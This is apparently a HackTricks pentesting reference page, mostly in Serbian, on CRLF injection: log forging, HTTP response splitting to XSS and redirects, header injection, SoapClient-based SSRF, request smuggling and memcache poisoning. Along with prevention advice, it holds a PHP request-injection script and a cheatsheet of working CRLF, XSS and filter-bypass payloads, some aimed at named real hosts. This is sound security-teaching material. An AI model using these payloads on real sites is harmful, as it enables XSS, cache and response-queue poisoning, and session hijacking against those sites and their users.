16 KiB
CRLF (%0D%0A) Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
Carriage Return (CR) i Line Feed (LF), zajedno poznati kao CRLF, su posebne sekvence karaktera koje se koriste u HTTP protokolu za označavanje kraja reda ili početka novog. Web serveri i pregledači koriste CRLF da razlikuju između HTTP zaglavlja i tela odgovora. Ovi karakteri se univerzalno koriste u HTTP/1.1 komunikacijama širom različitih tipova web servera, kao što su Apache i Microsoft IIS.
CRLF Injection Vulnerability
CRLF injekcija uključuje umetanje CR i LF karaktera u korisnički uneti podatak. Ova akcija dovodi server, aplikaciju ili korisnika u zabludu da interpretira umetnutu sekvencu kao kraj jednog odgovora i početak drugog. Iako ovi karakteri nisu inherentno štetni, njihovo zloupotrebljavanje može dovesti do deljenja HTTP odgovora i drugih zlonamernih aktivnosti.
Example: CRLF Injection in a Log File
Razmotrite log fajl u admin panelu koji prati format: IP - Vreme - Posetena Staza
. Tipičan unos može izgledati kao:
123.123.123.123 - 08:15 - /index.php?page=home
Napadač može iskoristiti CRLF injekciju da manipuliše ovim logom. Umetanjem CRLF karaktera u HTTP zahtev, napadač može promeniti izlazni tok i fabricirati log unose. Na primer, umetnuta sekvenca može transformisati log unos u:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Ovde, %0d
i %0a
predstavljaju URL-enkodirane forme CR i LF. Nakon napada, log bi obmanjujuće prikazivao:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Napadač tako prikriva svoje zlonamerne aktivnosti tako što izgleda kao da je localhost (entitet koji se obično smatra pouzdanim unutar serverskog okruženja) izvršio radnje. Server interpretira deo upita koji počinje sa %0d%0a
kao jedan parametar, dok se parametar restrictedaction
analizira kao drugi, odvojen unos. Manipulisani upit efikasno oponaša legitimnu administrativnu komandu: /index.php?page=home&restrictedaction=edit
HTTP Response Splitting
Opis
HTTP Response Splitting je sigurnosna ranjivost koja nastaje kada napadač iskoristi strukturu HTTP odgovora. Ova struktura razdvaja zaglavlja od tela koristeći specifičnu sekvencu karaktera, Carriage Return (CR) praćenu Line Feed (LF), koja se zajedno naziva CRLF. Ako napadač uspe da umetne CRLF sekvencu u zaglavlje odgovora, može efikasno manipulisati sadržajem narednog odgovora. Ova vrsta manipulacije može dovesti do ozbiljnih sigurnosnih problema, posebno Cross-site Scripting (XSS).
XSS kroz HTTP Response Splitting
- Aplikacija postavlja prilagođeno zaglavlje ovako:
X-Custom-Header: UserInput
- Aplikacija preuzima vrednost za
UserInput
iz parametra upita, recimo "user_input". U scenarijima koji nemaju pravilnu validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem. - Napadač kreira URL sa posebno kreiranim 'user_input':
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- U ovom URL-u,
%0d%0a%0d%0a
je URL-enkodirani oblik CRLFCRLF. Prevari server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora.
- Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora.
Primer HTTP Response Splitting koji dovodi do preusmeravanja
Pregledač na:
/%0d%0aLocation:%20http://myweb.com
I server odgovara sa zaglavljem:
Location: http://myweb.com
Drugi primer: (sa https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
U URL Putanji
Možete poslati payload unutar URL putanje da kontrolišete odgovor sa servera (primer iz ovde):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP Header Injection
HTTP Header Injection, često iskorišćen kroz CRLF (Carriage Return and Line Feed) injekciju, omogućava napadačima da umetnu HTTP zaglavlja. Ovo može oslabiti bezbednosne mehanizme kao što su XSS (Cross-Site Scripting) filteri ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, kao što su CSRF tokeni, ili manipulacije korisničkim sesijama kroz postavljanje kolačića.
Exploiting CORS via HTTP Header Injection
Napadač može umetnuti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja koja postavlja SOP. Ova povreda omogućava skriptama iz zlonamernih izvora da komuniciraju sa resursima iz drugog izvora, potencijalno pristupajući zaštićenim podacima.
SSRF and HTTP Request Injection via CRLF
CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj SoapClient
klasi, posebno unutar user_agent
parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak potpuno injektovati novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovu eksploataciju:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection to Request Smuggling
Za više informacija o ovoj tehnici i potencijalnim problemima proverite izvor.
Možete ubrizgati bitne zaglavlja kako biste osigurali da pozadinski sistem zadrži vezu otvorenom nakon odgovora na inicijalni zahtev:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Nakon toga, može se odrediti drugi zahtev. Ovaj scenario obično uključuje HTTP request smuggling, tehniku gde dodatni zaglavlja ili elementi tela koje server dodaje nakon injekcije mogu dovesti do raznih sigurnosnih eksploatacija.
Eksploatacija:
- Injekcija zlonamernog prefiksa: Ova metoda uključuje trovanje zahteva sledećeg korisnika ili web keša specificiranjem zlonamernog prefiksa. Primer ovoga je:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Kreiranje prefiksa za trovanje reda odgovora: Ovaj pristup uključuje kreiranje prefiksa koji, kada se kombinuje sa dodatnim smećem, formira kompletan drugi zahtev. Ovo može izazvati trovanje reda odgovora. Primer je:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Injekcija
Memcache je key-value store koji koristi protokol u čistom tekstu. Više informacija u:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Za sve informacije pročitajte originalni izveštaj
Ako platforma uzima podatke iz HTTP zahteva i koristi ih bez sanitizacije za obavljanje zahteva ka memcache serveru, napadač bi mogao da zloupotrebi ovo ponašanje da ubaci nove memcache komande.
Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da ubace memcache komande koje bi otrovale keš da pošalje detalje žrtava (korisnička imena i lozinke uključena) na servere napadača:
Pored toga, istraživači su takođe otkrili da mogu da desinkronizuju memcache odgovore kako bi poslali IP i portove napadača korisnicima čiji email napadač nije znao:
Kako sprečiti CRLF / HTTP zaglavlja injekcije u web aplikacijama
Da bi se umanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:
- Izbegavajte direktan unos korisnika u zaglavljima odgovora: Najsigurniji pristup je da se uzdržite od uključivanja unosa koji je obezbedio korisnik direktno u zaglavlja odgovora.
- Kodirajte specijalne karaktere: Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
- Ažurirajte programski jezik: Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Automatski alati
Lista za detekciju Brute-Force
Reference
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Bug bounty savet: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.